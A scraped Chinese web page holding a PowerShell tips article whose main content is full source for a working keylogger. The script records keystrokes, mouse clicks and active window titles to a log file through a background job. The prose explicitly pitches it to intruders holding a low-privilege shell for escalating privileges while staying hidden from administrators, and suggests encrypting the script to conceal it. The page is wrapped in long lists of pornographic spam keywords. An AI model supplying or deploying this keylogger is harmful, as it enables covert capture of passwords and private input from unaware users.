亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發(fā) > PowerShell > 正文

PowerShell小技巧之定時記錄操作系統(tǒng)行為

2020-10-29 21:01:40
字體:
供稿:網(wǎng)友

作為系統(tǒng)管理員,有些時候是需要記錄系統(tǒng)中的其他用戶的一些操作行為的,例如:當(dāng)系統(tǒng)管理員懷疑系統(tǒng)存在漏洞,且已經(jīng)有被植入后門或者創(chuàng)建隱藏賬戶時,就需要對曾經(jīng)登陸的用戶進(jìn)行監(jiān)控,保存其打開或者操作過的文件?;蛘咴诹硗庖粋€場景,當(dāng)黑客拿下一個普通權(quán)限的shell之后,想看看最近有哪些用戶登陸過,操作過什么,以便根據(jù)用戶習(xí)慣采取進(jìn)一步行動獲取更高權(quán)限,這個時候記錄用戶行為就顯得很重要了。

      可能有讀者覺得此時安裝個監(jiān)控軟件不就行了么,拜托,你入侵別人的系統(tǒng),你裝個監(jiān)控軟件,你把管理員試做無物么?這個時候PowerShell這個vista及其之后Windows操作系統(tǒng)都自帶的強(qiáng)大的命令行就有了用處,系統(tǒng)自帶,不會被管理員發(fā)現(xiàn)異常,腳本不用編譯,如果腳本內(nèi)容再加個密,他們更猜不出是干什么用的,嘿嘿。如果要記錄幾個特性用于記錄啥時候干了什么,無非要記錄的有幾樣內(nèi)容:操作,哪個文件或程序,時間。有這幾個特點就基本上可以掌握用戶的操作習(xí)慣了。
 
      代碼不算太難就不逐句解釋了,有啥問題的讀者可以給我留言詢問,基本上關(guān)鍵語句都有注釋的。代碼如下:

復(fù)制代碼 代碼如下:

 =====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)/key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:/key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)/key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                $FieldValueArray = [Object[]] @(
                    'GetKeyboardState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                $FieldValueArray = [Object[]] @(
                    'MapVirtualKey',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                $FieldValueArray = [Object[]] @(
                    'ToUnicode',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()
            }

            Start-Sleep -Milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                            if ($TabKey)       {$LogOutput += '[Tab]'}
                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                            if ($DeleteKey)    {$LogOutput += '[Delete]'}
                            if ($EnterKey)     {$LogOutput += '[Enter]'}
                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                            #check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

                            #get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()
                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                            #get the current DTG
                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                            #Create a custom object to store results
                            $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                  'Window Title' = $WindowTitle;
                                                  'Time' = $TimeStamp}
                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                            #return results
                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

    if ($PSBoundParameters['CollectionInterval'])
    {
        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
            Stop-Job -Name Keylogger
            Unregister-Event -SourceIdentifier ElapsedAction
            $Sender.Stop()
        } | Out-Null
    }
}

執(zhí)行方式如下圖所示:

執(zhí)行效果,會在指定的目錄里生成log文件,內(nèi)容如下圖所示:

能夠看到里面相關(guān)的擊鍵動作,有興趣的讀者可以猜一下,這段被記錄的操作都干了什么,期間騰訊還推了一次彈窗新聞,無恥啊。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
日本老妇乱子| 久久亚州av| 国产吧在线视频| 在线日韩网站| 亚洲乱码一区av黑人高潮| 久久99久久人婷婷精品综合| 日韩欧美色视频| 精品一二三区| 国产无遮挡又黄又爽又色| 日日摸.com| 亚洲欧美日韩中文在线制服| 日韩制服诱惑| 午夜精品免费在线观看| 国产高清不卡无码视频| 久久蜜臀中文字幕| 国产精品一区二区三区四区色| 蜜臀av粉嫩av懂色av| 亚洲r级在线视频| h片在线免费| 可以看美女隐私的网站| 黄色一级二级三级| 欧美一区二区免费观在线| 天堂综合网久久| 久久久久久久九九九九| 日韩欧美国产另类| 亚洲视频在线观看视频| 污片在线观看一区二区| 色婷婷av一区二区三区在线观看| 国产精品久久久久久av下载红粉| 国产日韩欧美一区二区| chinesemodel无套啪啪| 国产sm在线观看| 中文字幕中文字幕一区二区| 五月婷六月丁香| 一区二区三区高清在线观看| 国产精品久线在线观看| gogogo免费高清日本写真| 久久久久久久网| 亚洲精品一级片| 亚洲一卡二卡三卡四卡无卡久久| 在线观看亚洲电影| 在线日韩第一页| 国产精品白丝久久av网站| 久久精品国产亚洲av久| 成人动漫视频在线| 欧美xxx在线观看| 男人的天堂成人在线| 国产裸体美女永久免费无遮挡| 欧美国产一区视频在线观看| 影音先锋日韩av| 午夜视频一区二区在线观看| 午夜亚洲性色福利视频| 亚洲国产黄色| 91tv亚洲精品香蕉国产一区7ujn| 欧美一区激情| 国产精品jk白丝蜜臀av小说| 欧美日韩一区二区综合| 国产乱人伦精品一区| 国产精品中文字幕久久久| 综合欧美一区二区三区| 99热.com| 男女污视频在线观看| 中文av一区特黄| 欧美人妻精品一区二区三区| 黄色录像特级片| 456亚洲精品成人影院| 欧美大片在线播放| 久久99精品国产99久久6尤物| 欧美三级电影在线| 国产高潮呻吟久久久| 色婷婷在线视频观看| 99er热精品视频| 国产日韩欧美一区二区三区| 国产18精品乱码免费看| 日韩av中文| 日韩欧美亚洲天堂| 色综合天天综合网国产成人网| 久久高清精品| 亚洲综合丝袜美腿| 国产精品欧美日韩一区二区| 久久99精品久久久久久动态图| h视频在线免费观看| 91精品国产高久久久久久五月天| 青青草原国产在线观看| 99精品国产一区二区三区不卡| 国产日韩一区| 2021久久精品国产99国产精品| 天堂а√在线中文在线新版| 成人在线视频播放| 色综合久久久久综合一本到桃花网| 国产乱淫av一区二区三区| 91精品久久久久久久久不口人| 亚洲成人精品电影在线观看| 尤物网站在线| 久久婷婷成人综合色| 国产成人精品1024| 韩曰欧美视频免费观看| 国产在线视频资源| 成人在线视频区| 国产日产精品一区二区三区的介绍| 午夜精品久久久久久| 538任你躁精品视频网免费| 久久人人88| 深夜福利视频在线免费观看| r级无码视频在线观看| 国产精品系列在线播放| 牛牛影视一区二区三区免费看| 激情欧美一区| 成人信息集中地欧美| 欧美在线三级电影| 国产蜜臀一区二区打屁股调教| 久久国产精品免费精品3p| 亚洲人成在线观| 日本高清中文字幕二区在线| 久久av高潮av| 一本色道久久综合精品竹菊| 伊人免费在线| 婷婷精品国产一区二区三区日韩| 亚洲成人中文在线| 美女免费黄色| 4438全国亚洲精品在线观看视频| 在线看的av网站| 男女啪啪网站| 成人在线视频www| 欧美黑人猛猛猛| 中文精品无码中文字幕无码专区| 中文字幕在线播放不卡| 三级视频网站在线观看| 在线综合+亚洲+欧美中文字幕| 一级黄色录像毛片| av黄色网址| 性生交大片免费看女人按摩| 99久久99久久综合| 久久久久久久久久久久久国产精品| 日本一卡二卡四卡精品| 中文字幕 日韩 欧美| 一区二区三区日韩精品视频| 不卡一卡2卡3卡4卡精品在| 黄色精品在线看| 久久综合网络一区二区| 91麻豆精品国产自产在线| 日本理论中文字幕| 国产精品一区二区视频| 人人妻人人澡人人爽精品日本| xvideos国产在线视频| 日批免费观看视频| 美女一区二区三区在线观看| 亚洲国产电影在线观看| 欧美一级网站| 在线免费观看国产精品| 日日干日日操日日射| 天天色综合6| 日韩免费视频一区二区视频在线观看| 黄色的毛片免费| 国产精彩视频一区二区| 亚洲国产精品大全| 欧美日韩精品欧美日韩精品| 久久精品国产清自在天天线| 欧美色视频在线观看| 电影天堂最新网址| 免费中文字幕日韩欧美| 欧美日韩破处| 国产中文在线视频| 欧美乱妇高清无乱码免费| 中文岛国精品亚洲一区| 尤物视频在线观看| 在线观看成人av| 国产福利不卡视频| 欧美黄色三级| 成人免费一区二区三区视频网站| 久久久久97国产| 欧美性猛交xxx乱大交3蜜桃| 精品熟妇无码av免费久久| eeuss影院www影院| 国产成人精品一区二三区四区五区| 国产精品福利网站| 成人在线观看黄色| 欧美色综合影院| 好男人中文字幕官网| 99热这里只有精品7| 久久久另类综合| 亚洲国产精品999| 国产91久久婷婷一区二区| 亚洲影视在线观看| 超碰在线观看av| 亚洲欧美日韩专区| 激情五月五月婷婷| 亚欧日韩另类中文欧美| 不卡av免费观看| 九九色在线视频| 久做在线视频免费观看| 欧美日韩亚洲第一| jizzjizzjizzjizzjizzjizzjizz| 日韩高清一区二区| 天堂在线中文在线| 日本免费一区二区三区视频| www.日韩在线观看| 日本黄色大片在线观看| 蘑菇福利视频一区播放| 国产91精品一区二区麻豆亚洲| 91精品国产九九九久久久亚洲| 色妞ww精品视频7777| 国产精品福利视频一区二区三区| 欧美色片在线观看| 欧美精品一二三区| 午夜69成人做爰视频| 国产色噜噜噜91在线精品| 久久午夜鲁丝片午夜精品| 两个人hd高清在线观看| 精品久久久久久| 国产丝袜一区二区三区免费视频| 亚洲av激情无码专区在线播放| 国产激情综合| 国产精品久久久久77777| 中文字幕中文字幕| 99在线精品视频免费观看软件| 丰满人妻av一区二区三区| 一区二区三区视频观看| 国产精品久久久久国产精品日日| 99国产精品久久久久99打野战| 五十路六十路七十路熟婆| 亚洲影院理伦片| 久久男女视频| 久久99久国产精品黄毛片入口| 在线看a视频| a级片一区二区| 2018中文字幕一区二区三区| 欧美激情欧美激情| 亚洲国产成人在线播放| 国产亚洲精品久久久久久777| 北条麻妃国产九九九精品小说| 国内成人自拍| 天天干天天曰天天操| 欧美色婷婷天堂网站| www.se五月| 在线黄色.com| 香蕉国产在线视频| 高清一区二区视频| 欧美三级在线| av男人的天堂av| 国产三级在线观看视频| 香蕉久久久久久久av网站| www.天天色| jlzzjlzz欧美大全| 翔田千里88av中文字幕| 性色av免费观看| 亚洲ab电影| 日韩中文字幕一区二区三区| 日韩精品电影在线观看| 国产欧美日韩在线看| 外卖gayxxxxgay1| 国产美女主播视频一区| 国产一区精品在线| 日韩欧美中文字幕不卡| 亚洲综合色在线观看| 天堂av网手机版| 又色又爽又黄无遮挡的免费视频| 中文字幕视频一区二区在线有码| 色偷偷www8888| 91传媒免费观看| 亚洲人成亚洲人成在线观看| www.1024| 精品国产美女在线| 国产一区免费电影| 欧洲一区在线电影| 日韩伦理在线| 国产精品丝袜久久久久久app| 国产精品―色哟哟| 成人欧美一区二区三区的电影| 日韩精品在线中文字幕| 亚洲人妻一区二区| av一级亚洲| 欧美激情亚洲天堂| 成人在线观看免费播放| 国产成人三级视频| 99精品人妻无码专区在线视频区| 亚洲福利天堂| 一区二区91美女张开腿让人桶| 欧美69精品久久久久久不卡| 麻豆视频官网| 雨宫琴音一区二区在线| 亚洲欧美一区二区在线观看| 日韩亚洲在线视频| 任你操在线观看| av影音资源网| 欧美一级大片免费看| 日本一卡二卡在线播放| 91涩漫在线观看| 亚洲黄色网址| 中文字幕视频三区| 毛片电影在线| 国产精华一区| 欧美在线免费看视频| 成人黄色影片在线| 日本一区二区三区四区高清视频| 99久久亚洲精品| 亚洲精品动漫久久久久| 麻豆一区二区三区精品视频| 女仆av观看一区| 国内精品不卡一区二区三区| 日本a级片在线观看| 天堂网在线免费观看| 亚洲色偷偷色噜噜狠狠99网| 中文字幕亚洲综合| 2020日本在线视频中文字幕| 欧美性受xxxx| 亚洲ⅴ国产v天堂a无码二区| 丁香社区五月天| 成人av观看| 在线视频 91| 亚洲一区二区美女| 中文字幕麻豆| 亚洲精品在线免费看| 伊人久久大香线蕉成人综合网| 色狮一区二区三区四区视频| 亚洲国产美女视频| 国产亚洲精品美女久久| 日韩欧美电影一二三| 亚洲十八**毛片| 国产不卡123| 超碰成人免费在线| 青青草视频在线青草免费观看| 久久69国产一区二区蜜臀| 调教驯服丰满美艳麻麻在线视频| eeuss影院www天堂免费| 伊人五月天婷婷| 一区二区三区在线不卡| 麻豆精品传媒视频|